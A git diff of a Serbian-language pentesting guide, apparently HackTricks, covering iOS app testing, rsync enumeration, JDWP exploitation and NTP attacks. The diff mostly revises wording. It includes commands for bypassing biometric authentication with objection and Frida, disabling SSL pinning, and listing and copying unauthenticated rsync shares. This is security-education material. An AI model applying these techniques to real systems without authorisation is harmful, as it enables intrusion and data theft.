Da biste procenili bezbednost backupa aplikacije, počnite sa **kreiranjem backupa** koristeći Finder, a zatim ga locirajte koristeći smernice iz [Apple-ove zvanične dokumentacije](https://support.apple.com/en-us/HT204215). Analizirajte backup za osetljive podatke ili konfiguracije koje bi mogle biti promenjene da utiču na ponašanje aplikacije.
Osetljive informacije se mogu tražiti koristeći alate komandne linije ili aplikacije kao što je [iMazing](https://imazing.com). Za enkriptovane bekapove, prisustvo enkripcije može se potvrditi proverom ključa "IsEncrypted" u "Manifest.plist" fajlu na korenu bekapa.
Osetljive informacije se mogu tražiti koristeći alate komandne linije ili aplikacije kao što je [iMazing](https://imazing.com). Za enkriptovane backupove, prisustvo enkripcije može se potvrditi proverom ključa "IsEncrypted" u "Manifest.plist" fajlu na korenu backupa.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -675,7 +675,7 @@ Primer promene ponašanja aplikacije kroz modifikacije bekapa prikazan je u [Bit
Kada se radi sa osetljivim informacijama sačuvanim u memoriji aplikacije, ključno je ograničiti vreme izlaganja ovih podataka. Postoje dva osnovna pristupa za istraživanje sadržaja memorije: **kreiranje dump-a memorije** i **analiza memorije u realnom vremenu**. Oba metoda imaju svoje izazove, uključujući mogućnost propuštanja kritičnih podataka tokom procesa dump-a ili analize.
## **Pribavljanje i analiza dump-a memorije**
## **Preuzimanje i analiza dump-a memorije**
Za uređaje koji su jailbreak-ovani i koji nisu jailbreak-ovani, alati kao što su [objection](https://github.com/sensepost/objection) i [Fridump](https://github.com/Nightbringer21/fridump) omogućavaju dump-ovanje memorije procesa aplikacije. Kada se dump-uje, analiza ovih podataka zahteva različite alate, u zavisnosti od prirode informacija koje tražite.
@ -708,11 +708,11 @@ Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i enkriptuju ih sa
### Korišćenje Nesigurnih i/ili Zastarelih Algoritama
Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hash** koriste za čuvanje lozinki, na primer, treba koristiti hash koji je otporan na brute-force sa solju.
Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hash** koriste za čuvanje lozinki, na primer, trebali bi se koristiti hash-ovi otporni na **brute-force** sa solju.
### Provera
Glavne provere koje treba izvršiti su da se utvrdi da li možete pronaći **hardkodirane** lozinke/tajne u kodu, ili da li su one **predvidljive**, i da li kod koristi neku vrstu **slabe** **kriptografije** algoritama.
Glavne provere koje treba izvršiti su da se utvrdi da li možete pronaći **hardkodirane** lozinke/tajne u kodu, ili da li su one **predvidljive**, i da li kod koristi neku vrstu **slabe** **kriptografije**.
Zanimljivo je znati da možete **pratiti** neke **crypto** **biblioteke** automatski koristeći **objection** sa:
```swift
@ -724,11 +724,11 @@ Za **više informacija** o iOS kriptografskim API-ima i bibliotekama, posetite [
**Lokalna autentifikacija** igra ključnu ulogu, posebno kada je u pitanju zaštita pristupa na udaljenom kraju putem kriptografskih metoda. Suština je da bez pravilne implementacije, mehanizmi lokalne autentifikacije mogu biti zaobiđeni.
Apple-ov [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) i [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) pružaju robusne API-je za programere kako bi olakšali dijaloge za autentifikaciju korisnika i sigurno upravljali tajnim podacima, redom. Secure Enclave osigurava ID otiska prsta za Touch ID, dok Face ID zavisi od prepoznavanja lica bez kompromitovanja biometrijskih podataka.
Appleov [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) i [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) pružaju robusne API-je za programere kako bi olakšali dijaloge za autentifikaciju korisnika i sigurno upravljali tajnim podacima, redom. Secure Enclave osigurava ID otiska prsta za Touch ID, dok Face ID oslanja se na prepoznavanje lica bez kompromitovanja biometrijskih podataka.
Da bi integrisali Touch ID/Face ID, programeri imaju dva izbora API-ja:
- **`LocalAuthentication.framework`** za visoko-nivo korisničku autentifikaciju bez pristupa biometrijskim podacima.
- **`LocalAuthentication.framework`** za visoko nivo korisničke autentifikacije bez pristupa biometrijskim podacima.
- **`Security.framework`** za pristup uslugama keychain-a na nižem nivou, osiguravajući tajne podatke biometrijskom autentifikacijom. Različiti [open-source wrapperi](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) olakšavaju pristup keychain-u.
> [!CAUTION]
@ -738,18 +738,18 @@ Da bi integrisali Touch ID/Face ID, programeri imaju dva izbora API-ja:
Da bi zatražili autentifikaciju od korisnika, programeri treba da koriste metodu **`evaluatePolicy`** unutar klase **`LAContext`**, birajući između:
- **`deviceOwnerAuthentication`**: Zatražuje Touch ID ili lozinku uređaja, neuspešno ako nijedno nije omogućeno.
- **`deviceOwnerAuthenticationWithBiometrics`**: Isključivo traži Touch ID.
- **`deviceOwnerAuthentication`**: Zahteva Touch ID ili lozinku uređaja, neuspešno ako nijedno nije omogućeno.
- **`deviceOwnerAuthenticationWithBiometrics`**: Isključivo zahteva Touch ID.
Uspešna autentifikacija se označava boolean povratnom vrednošću iz **`evaluatePolicy`**, ističući potencijalnu sigurnosnu manu.
### Lokalna autentifikacija koristeći Keychain
Implementacija **lokalne autentifikacije** u iOS aplikacijama uključuje korišćenje **keychain API-a** za sigurno čuvanje tajnih podataka kao što su tokeni za autentifikaciju. Ovaj proces osigurava da podaci mogu biti dostupni samo korisniku, koristeći njegovu lozinku uređaja ili biometrijsku autentifikaciju kao što je Touch ID.
Implementacija **lokalne autentifikacije** u iOS aplikacijama uključuje korišćenje **keychain API-a** za sigurno čuvanje tajnih podataka kao što su tokeni za autentifikaciju. Ovaj proces osigurava da podaci mogu biti pristupljeni samo od strane korisnika, koristeći njihovu lozinku uređaja ili biometrijsku autentifikaciju kao što je Touch ID.
Keychain nudi mogućnost postavljanja stavki sa atributom `SecAccessControl`, koji ograničava pristup stavci dok korisnik uspešno ne autentifikuje putem Touch ID ili lozinke uređaja. Ova funkcija je ključna za poboljšanje sigurnosti.
Keychain nudi mogućnost postavljanja stavki sa atributom `SecAccessControl`, koji ograničava pristup stavci dok korisnik ne uspešno autentifikuje putem Touch ID ili lozinke uređaja. Ova funkcija je ključna za poboljšanje sigurnosti.
Ispod su primeri koda u Swift-u i Objective-C-u koji prikazuju kako sačuvati i preuzeti string iz keychain-a, koristeći ove sigurnosne funkcije. Primeri posebno pokazuju kako postaviti kontrolu pristupa da zahteva Touch ID autentifikaciju i osigurati da su podaci dostupni samo na uređaju na kojem su postavljeni, pod uslovom da je lozinka uređaja konfigurisana.
Ispod su primeri koda u Swift-u i Objective-C-u koji prikazuju kako sačuvati i preuzeti string iz keychain-a, koristeći ove sigurnosne funkcije. Primeri posebno pokazuju kako postaviti kontrolu pristupa da zahteva autentifikaciju putem Touch ID i osigurati da su podaci dostupni samo na uređaju na kojem su postavljeni, pod uslovom da je lozinka uređaja konfigurisana.
{{#tabs}}
{{#tab name="Swift"}}
@ -876,7 +876,7 @@ NSLog(@"Something went wrong");
### Detekcija
Korišćenje okvira u aplikaciji takođe se može otkriti analizom liste deljenih dinamičkih biblioteka binarne datoteke aplikacije. To se može uraditi korišćenjem `otool`:
Korišćenje okvira u aplikaciji se takođe može otkriti analizom liste deljenih dinamičkih biblioteka binarnog fajla aplikacije. To se može uraditi korišćenjem `otool`:
```bash
$ otool -L <AppName>.app/<AppName>
```
@ -887,13 +887,13 @@ Ako se `LocalAuthentication.framework` koristi u aplikaciji, izlaz će sadržati
```
Ako se koristi `Security.framework`, biće prikazan samo drugi.
### Zaobilaženje lokalnog autentifikacionog okvira
### Obilaženje lokalnog okvira za autentifikaciju
#### **Objection**
Kroz **Objection Biometrics Bypass**, koji se nalazi na [ovoj GitHub stranici](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), dostupna je tehnika za prevazilaženje **LocalAuthentication** mehanizma. Suština ovog pristupa uključuje korišćenje **Frida** za manipulaciju funkcijom `evaluatePolicy`, osiguravajući da ona dosledno daje `True` rezultat, bez obzira na stvarni uspeh autentifikacije. Ovo je posebno korisno za zaobilaženje neispravnih procesa biometrijske autentifikacije.
Da bi se aktiviralo ovo zaobilaženje, koristi se sledeća komanda:
Da bi se aktiviralo ovo obilaženje, koristi se sledeća komanda:
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
}
}
```
Da bi se postigao **bypass** lokalne autentifikacije, napisan je Frida skript. Ova skripta cilja na **evaluatePolicy** proveru, presrećući njen callback kako bi osigurala da vraća **success=1**. Menjanjem ponašanja callback-a, provera autentifikacije se efikasno zaobilazi.
Da bi se postigao **bypass** lokalne autentifikacije, napisan je Frida skript. Ovaj skript cilja na **evaluatePolicy** proveru, presrećući njen callback kako bi osigurao da vraća **success=1**. Menjanjem ponašanja callback-a, provera autentifikacije se efikasno zaobilazi.
Skripta ispod se injektuje da bi se izmenio rezultat **evaluatePolicy** metode. Menja rezultat callback-a da uvek označava uspeh.
```swift
@ -1015,14 +1015,14 @@ Da biste proverili ovakve probleme, možete koristiti proxy kao što je **Burp**
burp-configuration-for-ios.md
{{#endref}}
### Provera Hostname-a
### Provera Imena Host-a
Jedan uobičajen problem prilikom validacije TLS sertifikata je provera da li je sertifikat potpisan od strane **pouzdanog** **CA**, ali **ne proverava** da li je **hostname** sertifikata hostname koji se pristupa.\
Da biste proverili ovaj problem koristeći Burp, nakon što poverite Burp CA na iPhone-u, možete **napraviti novi sertifikat sa Burp-om za drugi hostname** i koristiti ga. Ako aplikacija i dalje radi, onda je nešto ranjivo.
Jedan uobičajen problem prilikom validacije TLS sertifikata je provera da li je sertifikat potpisan od strane **pouzdanog** **CA**, ali **ne proverava** da li je **ime host-a** sertifikata ime host-a koje se pristupa.\
Da biste proverili ovaj problem koristeći Burp, nakon što poverite Burp CA na iPhone-u, možete **napraviti novi sertifikat sa Burp-om za drugo ime host-a** i koristiti ga. Ako aplikacija i dalje radi, onda je nešto ranjivo.
### Pinovanje Sertifikata
Ako aplikacija ispravno koristi SSL Pinning, onda će aplikacija raditi samo ako je sertifikat onaj koji se očekuje. Kada testirate aplikaciju **to može biti problem jer će Burp poslužiti svoj sertifikat.**\
Ako aplikacija ispravno koristi SSL Pinovanje, onda će aplikacija raditi samo ako je sertifikat onaj koji se očekuje. Kada testirate aplikaciju **to može biti problem jer će Burp poslužiti svoj sertifikat.**\
Da biste zaobišli ovu zaštitu unutar jailbroken uređaja, možete instalirati aplikaciju [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ili instalirati [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
Takođe možete koristiti **objection's** `ios sslpinning disable`
@ -1031,7 +1031,7 @@ Takođe možete koristiti **objection's** `ios sslpinning disable`
- U **`/System/Library`** možete pronaći okvire instalirane na telefonu koje koriste sistemske aplikacije
- Aplikacije koje je korisnik instalirao iz App Store-a nalaze se unutar **`/User/Applications`**
- A **`/User/Library`** sadrži podatke sačuvane od strane aplikacija na nivou korisnika
- A **`/User/Library`** sadrži podatke sačuvane od strane aplikacija na korisničkom nivou
- Možete pristupiti **`/User/Library/Notes/notes.sqlite`** da biste pročitali beleške sačuvane unutar aplikacije.
- Unutar foldera instalirane aplikacije (**`/User/Applications/<APP ID>/`**) možete pronaći neke zanimljive datoteke:
- **`iTunesArtwork`**: Ikona koju koristi aplikacija
@ -1040,15 +1040,15 @@ Takođe možete koristiti **objection's** `ios sslpinning disable`
### Vruće Patchovanje/Prisilno Ažuriranje
Programeri mogu daljinski **patch-ovati sve instalacije svoje aplikacije instantno** bez potrebe da ponovo podnose aplikaciju u App Store i čekaju da bude odobrena.\
Za ovu svrhu obično se koristi [**JSPatch**](https://github.com/bang590/JSPatch)**.** Ali postoje i druge opcije kao što su [Siren](https://github.com/ArtSabintsev/Siren) i [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
Programeri mogu daljinski **patch-ovati sve instalacije svoje aplikacije trenutno** bez potrebe da ponovo podnose aplikaciju u App Store i čekaju da bude odobrena.\
U tu svrhu obično se koristi [**JSPatch**](https://github.com/bang590/JSPatch)**.** Ali postoje i druge opcije kao što su [Siren](https://github.com/ArtSabintsev/Siren) i [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Ovo je opasan mehanizam koji bi mogli zloupotrebiti zlonamerni SDK-ovi, stoga se preporučuje da se proveri koja metoda se koristi za automatsko ažuriranje (ako postoji) i testira.** Možete pokušati da preuzmete prethodnu verziju aplikacije u tu svrhu.
### Treće Strane
Značajan izazov sa **3rd party SDK-ovima** je **nedostatak granularne kontrole** nad njihovim funkcionalnostima. Programeri se suočavaju sa izborom: ili integrišu SDK i prihvate sve njegove funkcije, uključujući potencijalne sigurnosne ranjivosti i probleme sa privatnošću, ili potpuno odustanu od njegovih prednosti. Često, programeri nisu u mogućnosti da patch-uju ranjivosti unutar ovih SDK-ova sami. Štaviše, kako SDK-ovi stiču poverenje unutar zajednice, neki mogu početi da sadrže malware.
Značajan izazov sa **3rd party SDK-ovima** je **nedostatak granularne kontrole** nad njihovim funkcionalnostima. Programeri se suočavaju sa izborom: ili integrisati SDK i prihvatiti sve njegove funkcije, uključujući potencijalne sigurnosne ranjivosti i probleme sa privatnošću, ili potpuno odustati od njegovih prednosti. Često, programeri nisu u mogućnosti da zakrpe ranjivosti unutar ovih SDK-ova sami. Štaviše, kako SDK-ovi stiču poverenje unutar zajednice, neki mogu početi da sadrže malver.
Usluge koje pružaju SDK-ovi trećih strana mogu uključivati praćenje ponašanja korisnika, prikazivanje reklama ili poboljšanja korisničkog iskustva. Međutim, to uvodi rizik jer programeri možda nisu potpuno svesni koda koji izvršavaju ove biblioteke, što dovodi do potencijalnih rizika za privatnost i sigurnost. Ključno je ograničiti informacije koje se dele sa uslugama trećih strana na ono što je neophodno i osigurati da nijedni osetljivi podaci nisu izloženi.
Usluge koje pružaju SDK-ovi trećih strana mogu uključivati praćenje ponašanja korisnika, prikazivanje oglasa ili poboljšanja korisničkog iskustva. Međutim, to uvodi rizik jer programeri možda nisu potpuno svesni koda koji izvršavaju ove biblioteke, što dovodi do potencijalnih rizika za privatnost i sigurnost. Ključno je ograničiti informacije koje se dele sa uslugama trećih strana na ono što je neophodno i osigurati da nijedni osetljivi podaci nisu izloženi.
Implementacija usluga trećih strana obično dolazi u dva oblika: samostalna biblioteka ili pun SDK. Da bi se zaštitila privatnost korisnika, svi podaci koji se dele sa ovim uslugama trebaju biti **anonimizovani** kako bi se sprečilo otkrivanje ličnih identifikacionih informacija (PII).

View File

@ -6,7 +6,7 @@
Sa [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** je alat za efikasno [prenos](https://en.wikipedia.org/wiki/File_transfer) i [sinhronizaciju](https://en.wikipedia.org/wiki/File_synchronization) [fajlova](https://en.wikipedia.org/wiki/Computer_file) između računara i eksternog hard diska i preko [umreženih](https://en.wikipedia.org/wiki/Computer_network) [računara](https://en.wikipedia.org/wiki/Computer) upoređivanjem [vremena izmene](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) i veličina fajlova.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Obično se nalazi na [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operativnim sistemima](https://en.wikipedia.org/wiki/Operating_system). Rsync algoritam je vrsta [delta kodiranja](https://en.wikipedia.org/wiki/Delta_encoding) i koristi se za minimiziranje korišćenja mreže. [Zlib](https://en.wikipedia.org/wiki/Zlib) se može koristiti za dodatnu [kompresiju podataka](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) a [SSH](https://en.wikipedia.org/wiki/Secure_Shell) ili [stunnel](https://en.wikipedia.org/wiki/Stunnel) mogu se koristiti za bezbednost.
> **rsync** je alat za efikasno [prenosenje](https://en.wikipedia.org/wiki/File_transfer) i [sinhronizaciju](https://en.wikipedia.org/wiki/File_synchronization) [fajlova](https://en.wikipedia.org/wiki/Computer_file) između računara i eksternog hard diska i preko [umreženih](https://en.wikipedia.org/wiki/Computer_network) [računara](https://en.wikipedia.org/wiki/Computer) upoređivanjem [vremena modifikacije](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) i veličina fajlova.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) Obično se nalazi na [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operativnim sistemima](https://en.wikipedia.org/wiki/Operating_system). Rsync algoritam je vrsta [delta kodiranja](https://en.wikipedia.org/wiki/Delta_encoding) i koristi se za minimiziranje korišćenja mreže. [Zlib](https://en.wikipedia.org/wiki/Zlib) se može koristiti za dodatnu [kompresiju podataka](https://en.wikipedia.org/wiki/Data_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) a [SSH](https://en.wikipedia.org/wiki/Secure_Shell) ili [stunnel](https://en.wikipedia.org/wiki/Stunnel) mogu se koristiti za bezbednost.
**Podrazumevani port:** 873
```
@ -37,7 +37,7 @@ nc -vn 127.0.0.1 873
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Enumerisanje Deljenih Foldera**
### **Enumeracija Deljenih Foldera**
**Rsync moduli** se prepoznaju kao **deljenja direktorijuma** koja mogu biti **zaštićena lozinkama**. Da bi se identifikovali dostupni moduli i proverilo da li zahtevaju lozinke, koriste se sledeće komande:
```bash
@ -47,11 +47,11 @@ msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Budite svesni da neki delovi možda neće biti prikazani na listi, što može da ih sakrije. Pored toga, pristup nekim delovima može biti ograničen na specifične **akreditive**, što je označeno porukom **"Pristup odbijen"**.
Budite svesni da neki delovi možda neće biti prikazani na listi, što ih može sakriti. Pored toga, pristup nekim delovima može biti ograničen na specifične **akreditive**, što je označeno porukom **"Pristup odbijen"**.
### [**Brute Force**](../generic-hacking/brute-force.md#rsync)
### Ručna Rsync Upotreba
### Ručna upotreba Rsync
Nakon dobijanja **liste modula**, akcije zavise od toga da li je autentifikacija potrebna. Bez autentifikacije, **listanje** i **kopiranje** fajlova iz deljenog foldera u lokalni direktorijum se postiže kroz:
```bash
@ -63,7 +63,7 @@ rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Ovaj proces **rekurzivno prenosi fajlove**, čuvajući njihove atribute i dozvole.
Sa **akreditivima**, listanje i preuzimanje iz zajedničke fascikle može se uraditi na sledeći način, gde će se pojaviti prozor za unos lozinke:
Sa **akreditivima**, listanje i preuzimanje iz deljenog foldera može se uraditi na sledeći način, gde će se pojaviti prozor za unos lozinke:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

View File

@ -2,6 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
## Eksploatacija
JDWP eksploatacija se oslanja na **nedostatak autentifikacije i enkripcije** protokola. Obično se nalazi na **portu 8000**, ali su mogući i drugi portovi. Početna veza se uspostavlja slanjem "JDWP-Handshake" na ciljni port. Ako je JDWP servis aktivan, odgovara istim stringom, potvrđujući svoju prisutnost. Ova rukovanja deluju kao metoda otiska prsta za identifikaciju JDWP servisa na mreži.
@ -18,7 +19,7 @@ Pronašao sam da korišćenje `--break-on 'java.lang.String.indexOf'` čini eksp
## Više detalja
**Ovo je sažetak [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Proverite ga za dodatne detalje.
**Ovo je sažetak [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Proverite ga za dalja objašnjenja.
1. **JDWP Pregled**:
@ -36,16 +37,16 @@ Pronašao sam da korišćenje `--break-on 'java.lang.String.indexOf'` čini eksp
4. **Eksploatacija**:
- JDWP omogućava učitavanje i pozivanje proizvoljnih klasa i bajtkoda, što predstavlja sigurnosne rizike.
- Članak detaljno opisuje proces eksploatacije u pet koraka, uključujući preuzimanje referenci Java Runtime-a, postavljanje tačaka prekida i pozivanje metoda.
- JDWP omogućava učitavanje i pozivanje proizvoljnih klasa i bytecode-a, što predstavlja sigurnosne rizike.
- Članak detaljno opisuje proces eksploatacije u pet koraka, uključujući preuzimanje referenci Java Runtime-a, postavljanje breakpoint-a i pozivanje metoda.
5. **Eksploatacija u stvarnom životu**:
- I pored potencijalnih zaštita od vatrozida, JDWP usluge su otkrivene i mogu se eksploatisati u stvarnim scenarijima, što je demonstrirano pretragama na platformama kao što su ShodanHQ i GitHub.
- Skripta za eksploataciju testirana je protiv različitih verzija JDK-a i nezavisna je od platforme, nudeći pouzdano daljinsko izvršavanje koda (RCE).
- I pored potencijalnih zaštita od vatrozida, JDWP servisi su otkriveni i mogu se eksploatisati u stvarnim scenarijima, što je demonstrirano pretragama na platformama kao što su ShodanHQ i GitHub.
- Skripta za eksploataciju testirana je protiv različitih verzija JDK-a i nezavisna je od platforme, nudeći pouzdano Remote Code Execution (RCE).
6. **Sigurnosne implikacije**:
- Prisutnost otvorenih JDWP usluga na internetu naglašava potrebu za redovnim sigurnosnim pregledima, onemogućavanjem debug funkcionalnosti u produkciji i pravilnim konfiguracijama vatrozida.
- Prisutnost otvorenih JDWP servisa na internetu naglašava potrebu za redovnim sigurnosnim pregledima, onemogućavanjem debug funkcionalnosti u produkciji i pravilnim konfiguracijama vatrozida.
### **Reference:**
@ -56,7 +57,7 @@ Pronašao sam da korišćenje `--break-on 'java.lang.String.indexOf'` čini eksp
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)

View File

@ -4,7 +4,7 @@
## Osnovne informacije
**Network Time Protocol (NTP)** osigurava da računari i mrežni uređaji na mrežama sa promenljivom latencijom tačno sinhronizuju svoje satove. To je od vitalnog značaja za održavanje preciznog merenja vremena u IT operacijama, bezbednosti i logovanju. Pošto se vreme koristi u gotovo svakoj autentifikaciji, kripto-protokolu i forenzičkom procesu, **napadač koji može da utiče na NTP često može da zaobiđe bezbednosne kontrole ili oteža istraživanje napada.**
**Network Time Protocol (NTP)** osigurava da računari i mrežni uređaji na mrežama sa promenljivom latencijom tačno sinhronizuju svoje satove. To je od suštinskog značaja za održavanje preciznog merenja vremena u IT operacijama, bezbednosti i logovanju. Pošto se vreme koristi u gotovo svakoj autentifikaciji, kripto-protokolu i forenzičkom procesu, **napadač koji može da utiče na NTP često može da zaobiđe bezbednosne kontrole ili oteža istraživanje napada.**
### Sažetak i saveti za bezbednost
@ -14,8 +14,8 @@
- Koristite pouzdane NTP ili NTS (Network Time Security) izvore sa autentifikacijom.
- Ograničite ko može da upita/naredi demon (``restrict default noquery``, ``kod`` itd.).
- Onemogućite nasleđene Mode-6/7 kontrolne upite (``monlist``, ``ntpdc``) ili ih ograničite po brzini.
- Pratite pomeranje sinhronizacije/stanje skakanja sekundi za manipulaciju.
- Održavajte demona ažuriranim (vidite nedavne CVE-ove u nastavku).
- Pratite stanje sinhronizacije drift/leap-second za manipulaciju.
- Održavajte demona ažuriranim (vidite nedavne CVE-ove ispod).
**Podrazumevani portovi**
```
@ -80,12 +80,12 @@ Obratite posebnu pažnju na ``restrict`` linije, ``kod`` (Kiss-o'-Death) podeša
| Godina | CVE | Komponenta | Uticaj |
|--------|-----|------------|--------|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Više izlaznih pisanja koja se mogu dostići putem **ntpq** odgovora. Zakrpa u **4.2.8p16** 🡒 nadogradite ili vratite zakrpe. citeturn1search1turn1search2turn1search0|
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust implementacija) | Neispravan **NTS** kolačić uzrokuje udaljeni **DoS** pre v0.3.3 utiče na port 123 čak i kada je NTS **onemogućen**. citeturn4view0|
| 2024 | ažuriranja distribucije | **chrony 4.4 / 4.5** nekoliko bezbednosnih poboljšanja i NTS-KE zakrpa (npr. SUSE-RU-2024:2022) citeturn2search2|
| 2024 | Zabeležen DDoS | Cloudflare izveštava o **5.6 Tbps UDP refleksionom** napadu (NTP među korišćenim protokolima). Držite *monitor* i *monlist* onemogućenim na hostovima koji su izloženi internetu. citeturn5search0|
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Više izlaznih pisanja koja se mogu dostići putem **ntpq** odgovora. Zakrpa u **4.2.8p16** 🡒 nadogradite ili vratite ispravke. |
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust implementacija) | Neispravan **NTS** kolačić uzrokuje udaljeni **DoS** pre v0.3.3 utiče na port 123 čak i kada je NTS **onemogućen**. |
| 2024 | ažuriranja distribucije | **chrony 4.4 / 4.5** nekoliko bezbednosnih poboljšanja i NTS-KE ispravki (npr. SUSE-RU-2024:2022) |
| 2024 | Rekord DDoS | Cloudflare izveštava o **5.6 Tbps UDP refleksivnom** napadu (NTP među korišćenim protokolima). Držite *monitor* i *monlist* onemogućenim na hostovima koji su izloženi internetu. |
> **Eksploatacione kitove**: Dokazi o konceptu za 2023 ntpq OOB-write seriju su na GitHub-u (vidi Meinberg izveštaj) i mogu se iskoristiti za phishing na klijentskoj strani sysadmina. citeturn1search4
> **Eksploatacione kitove**: Dokazi koncepta za 2023 ntpq OOB-write seriju su na GitHub-u (vidi Meinberg izveštaj) i mogu se iskoristiti za phishing na klijentskoj strani sysadmina.
---
## Napredni napadi
@ -95,14 +95,14 @@ Obratite posebnu pažnju na ``restrict`` linije, ``kod`` (Kiss-o'-Death) podeša
Nasleđeni Mode-7 ``monlist`` upit vraća do **600 adresa hostova** i još uvek je prisutan na hiljadama internet hostova. Budući da je odgovor (428-468 bajtova/unos) *~ 200×* veći od 8-bajtne zahteva, napadač može dostići trocifrene faktore amplifikacije. Mogućnosti ublažavanja:
- Nadogradite na ntp 4.2.8p15+ i **dodajte** ``disable monitor``.
- Ograničite brzinu UDP/123 na ivici ili omogućite *sessions-required* na DDoS uređajima.
- Ograničite UDP/123 na ivici ili omogućite *sessions-required* na DDoS uređajima.
- Omogućite *BCP 38* izlazno filtriranje da blokirate lažno predstavljanje izvora.
Pogledajte članak iz Cloudflare-ovog centra za učenje za detaljno objašnjenje. citeturn5search1
Pogledajte članak u Cloudflare-ovom centru za učenje za detaljno objašnjenje.
### 2. Napadi pomeranja vremena / kašnjenja (Khronos / Chronos istraživanje)
Čak i sa autentifikacijom, napadač na putu može tiho **pomeriti klijentski sat** tako što će odbaciti/odložiti pakete. IETF **Khronos (ranije Chronos) nacrt** predlaže upit raznovrsnom skupu servera u pozadini i proveru rezultata kako bi se otkrilo pomeranje > 𝚡 ms. Moderni chrony (4.4+) već implementira sličan filter provere (``maxdistance`` / ``maxjitter``). citeturn9search1
Čak i sa autentifikacijom, napadač na putu može tiho **pomeriti klijentski sat** tako što će odbaciti/odložiti pakete. IETF **Khronos (ranije Chronos) nacrt** predlaže upit raznovrsnom skupu servera u pozadini i proveru rezultata kako bi se otkrilo pomeranje > 𝚡 ms. Moderni chrony (4.4+) već implementira sličan filter za proveru (``maxdistance`` / ``maxjitter``).
### 3. Zloupotreba NTS i izloženost 4460/tcp
@ -114,20 +114,20 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
# Grab banner & ALPN
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
```
Look for self-signed or expired certificates and weak cipher-suites (non-AEAD). Reference: RFC 8915 §4. citeturn11search0
Look for self-signed or expired certificates and weak cipher-suites (non-AEAD). Reference: RFC 8915 §4.
---
## Hardening / Best-Current-Practice (BCP-233 / RFC 8633)
*Operateri TREBA da:*
1. Koriste **≥ 4** nezavisna, raznolika vremenska izvora (javne grupe, GPS, PTP-bridge) kako bi izbegli trovanje jednim izvorom.
1. Koriste **≥ 4** nezavisna, raznolika vremenska izvora (javne grupe, GPS, PTP-bridževe) kako bi izbegli trovanje jednim izvorom.
